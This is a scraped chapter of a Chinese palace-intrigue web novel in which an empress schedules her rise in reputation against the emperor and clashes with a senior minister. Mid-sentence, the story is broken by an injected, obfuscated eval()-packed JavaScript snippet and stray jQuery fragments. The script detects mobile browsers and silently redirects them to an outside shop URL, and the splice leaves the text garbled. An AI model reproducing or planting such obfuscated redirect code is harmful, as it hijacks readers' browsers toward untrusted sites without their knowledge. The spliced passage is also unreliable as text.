文趣网 > 其他小说 > 皇后重生记 > 47. 陌生
    沈存正愣了许久,他好像从来没有认识过许赢君一样,用一种非常陌生的眼神看着许赢君,“娘娘想抬高自己的声望,然后呢?”

    许赢君揉揉眉心,“然后小衡就不能万事由着自己的性子折腾,他消停些,你好过,百姓们也好过。”

    刘衡不想做守成之君,没完没了的胡闹,非要推行新政,她也由着皇帝了。

    但是她不能让刘衡真的随心所欲折腾这天下,这天下还要留给她的儿子呢。

    她有意揽权,日后刘衡有事求到她手上,肯定会发现她暗中做的手脚,估计还是会闹,不过没关系,到时候她不放权,刘衡也不能拿她怎么样,闹一闹发现没有用,自然慢慢也就习惯了。

    沈存正却有些迟疑,“这样做是不是不太好?”

    许赢君想了想,“怎么沈相是觉得现在时机还不够成熟吗?”

    沈存正心想不是这样的,自古都是夫唱妇随,皇后这是摆明了有牝鸡司晨之心了。

    他提醒许赢君,“恕臣直言,娘娘是内廷之人,您年长于陛下,又对陛下有教导之恩,陛下寻常对您礼遇有加,这也是应该。”

    沈存正停了停,“可娘娘不该忘了女子之德,为人妻子,应当对夫君恭顺有礼,陛下任性,您应该以臣子的身份劝谏,岂能僭越尊卑,在外头宣扬自己的名声,要是哪一天您的威望超过了陛下呢,这岂不是让人误会娘娘,太不把丈夫放在眼里了?”

    许赢君想了想,的确是如此,女子的名声还是很重要的,“相公放心,我会与人为善,让皇帝说不出话来的。”

    她着意笼络了那么多宗亲大臣,都是为了今天。

    沈存正知道自己话说的太委婉了,皇后根本没明白自己是什么意思,他本来还想驳斥皇后两句,却又怕得罪了皇后,要是她在皇帝面前说上两句什么,现在的皇帝,肯定是信任皇后超过自己的,到时候自己被撵出中枢,还不是让皇后为所欲为了。

    知道一时半会儿劝不了皇后,沈存正干脆答应下来,“娘娘思虑周全,臣也就放心了。”

    许赢君又捐出了金阳殿大半属于自己的私产,同时号召宫中后妃们为地动受灾的百姓捐款,希望以后宫女子的力量平息事态,而不需要借助于皇帝等人的力量。

    刘衡觉得这样非常省钱,当然是非常乐意,另外又下了两道圣旨,一则要出宫祭祀先帝,二则令刑狱司重查旧案。

    这两道圣旨一出,再加上刘衡处置灾情及时,所谓地动是皇帝无德引起的谣言在朝中连个水花都没溅起来。

    最近这些天,许赢君却有些奇怪,冯婕妤总是带着太子来给她请安,有的时候碰巧董婕妤也在,三个孩子一起玩儿,她们三个女人竟然也能坐在一起闲聊两句。

    董婕妤送给许赢君一串自己串的手链,知道冯婕妤也常来,虽然有些不好意思,但也送给了她一串。

    冯婕妤笑道:“董姐姐的心思好巧,在镂空的玉球中间塞了金珠和金铃铛,太阳照着亮闪闪的,走起路金珠随步而滚,声音脆生生的,好像菩萨下凡之前先来了一段福音一样。”

    董婕妤同她客气解释着,“那不是金珠,是铜鎏金的壳子,侧边开了口子,里头也有铃铛舌,整个塞进玉球里,才有这个响声儿,若只是金珠儿,是不响的。”

    许赢君也抬手瞧了瞧,外头的玉是最普通的白玉,应该是刻成玉球后,顺着镂空纹路故意给对半磨开了,塞入金珠之后,再顺着纹路用鱼胶粘起来,再用金粉在玉球上随意描了几笔,正好遮住鱼胶,巧夺天工,一点破绽都没有,就作成了这“玉中金”的手链。

    “你这手艺也堪称一代大家了,要是放到外头去,多少银楼首饰坊得抢着让你回去做师傅。”

    她笑着夸赞董婕妤。

    其实现在尚功局也有许多首饰都经过董婕妤的指点。

    董婕妤笑得十分自得,“不是我自夸,我要是在外头,这也是一门“家传”呢!”

    多少大师傅都用一门“家传”,收徒开店,养活一家人。

    大家都笑过一回,冯婕妤又对许赢君郑重道:“姐姐,当初您要调理身体,把尚服、尚功两局的事务交给我打理,如今已经过了一年,您身体也无大碍了,我再握着宫权就有些不合适了,今天我来,也带来了两局的各种明细,想着按规矩,也该把这些东西都归还给您了。”

    许赢君有些惊讶,“这是太后和陛下交给你管的,你继续管着就是了。”

    冯婕妤这是要做什么,她知不知道,她本来就名不正言不顺,拿到宫权本来就不容易,这样轻易的交出去,冯太后肯定会找她麻烦的。

    再说了,这是太后和刘衡做的主,找她干什么,交也是重新交回刘衡等人的手上,免得让人觉得是她逼着冯妃交的。

    冯婕妤却很坚决,“我因为处事不谨,已经被降为婕妤,哪里还有颜面去管教别人,再者陛下那里,我已经回禀过了,他已经答应了。”

    许赢君这才相信冯婕妤说的是真话,既然刘衡已经发话了,她再推三阻四就有些不合适了,许赢君答应下来,正好冯太后宫里的人找过来,冯婕妤含着歉意带着刘礼退下。

    金阳殿只剩下董婕妤和许赢君二人,董婕妤这才不再装傻,问许赢君,“姐姐,她来咱们这儿做什么?”

    许赢君也不知道,摇摇头,“我虽然降了她的位,但又没有为难她,她的份例还是按照贵妃的给,陛下也没做声,也不知道她在担心什么。”

    她和冯妃虽然争宠,但还不至于你死我活,上一世她被刘衡挪到兰林殿,冯妃也是小心翼翼伺候她,生怕她死了,冯妃只是想要后位,弄死她,搞不好再让皇帝旧情复燃,她又不傻。

    同样的,许赢君也不傻,她真的无意为难冯妃。

    “她该不会是想让姐姐复她贵妃之位吧?”

    “这也得陛下做主,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522737|202024||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    讨好我也不管用。”

    冯妃的位份是刘衡下旨降的,又不是她下的旨意,要是冯妃想要个首饰、衣裳什么的,她还能做主,要想要其他的,还得去找刘衡。

    “算了,见怪不怪,其怪自败,她来得多了,目的自然就出来了。”

    许赢君把冯妃抛到脑后去了。

    ——

    两日后,许赢君在殿里大发雷霆,“沈存正这个老匹夫,竟然如此戏耍于我,枉费我这三年的提携!”

    她明明让沈存正在朝堂之上着重点出是她让百姓避过了灾难,也是她带着嫔妃们募捐,甚至自己也捐出了大半的身家,谁知道沈存正竟然只说了后半部分,前半部分都推到刘衡身上去了,说是他下旨延长灯会的。

    捐钱谁不会,历朝历代,哪个皇后不做些俭省的事。

    许赢君努力克制自己的怒气,把赵兴叫了进来,“你去传话给大少爷,告诉他,把陛下是因为皇后喜欢灯会,才听从皇后之意,延长灯会的消息传出去,务必在三天之内传遍中京,一则说帝后情深,二则说中宫有福,不得有误!”

    到了这时候,许赢君才反应过来了,沈存正前些天反对自己扬名,不是怕别人说她僭越,而是真的在嫌弃她僭越。

    “皇帝给他两个好脸色,他就摇着尾巴上去了,难道以为当初轻视皇帝的事,在皇帝心里已经一笔勾销了吗?真是糊涂!”

    恰巧这天沈存正没有入宫,许赢君愣是忍了一天,得知沈存正正在资善堂给刘礼等皇子上课,许赢君直接找了过去。

    沈存正见到许赢君的时候,已经得知许延光在外给许赢君扬名的事了,他的算盘落空了。

    他心中有些感慨,先帝曾经说过,皇后会是一位贤后,那么劝谏许赢君走上正途,就是他的使命了。

    心里这样想,沈存正见到许赢君的时候,还是恭恭敬敬给许赢君行礼了,他当初违抗皇后命令的时候,也替皇后歌功颂德了,因为那时候他就猜到皇后未必肯善罢甘休,也是留了余地的。

    许赢君努力克制着心中的怒气,如今她和沈存正互为倚仗,如果贸然和沈存正翻脸,和自断臂膀没有什么区别,只要有机会,她还是想把沈存正拉回自己的阵营。

    “沈相公,政事堂关于这次灾情上的折子我已经看过了,总觉得上头缺了点什么,您是不是得给我解释一下啊?”

    沈存正跪下,沉声道:“臣是为了您和陛下的夫妻之情着想,所谓夫唱妇随,为何不是妇唱夫随,殿下只怕比微臣更明白,您身在皇室,更要懂得其中的分寸,免得遭陛下的忌惮。”

    “我知道你要说什么,做皇后要三从四德,难道我不知道吗?”

    许赢君在沈存正面前踱步,“可那是寻常人家的做法,我是皇后,我身上承担的,要比寻常百姓家为人妻子承担的更多,我害怕的,也比她们更多,譬如我之前为何能屡次搭救相公,难道相公不明白?”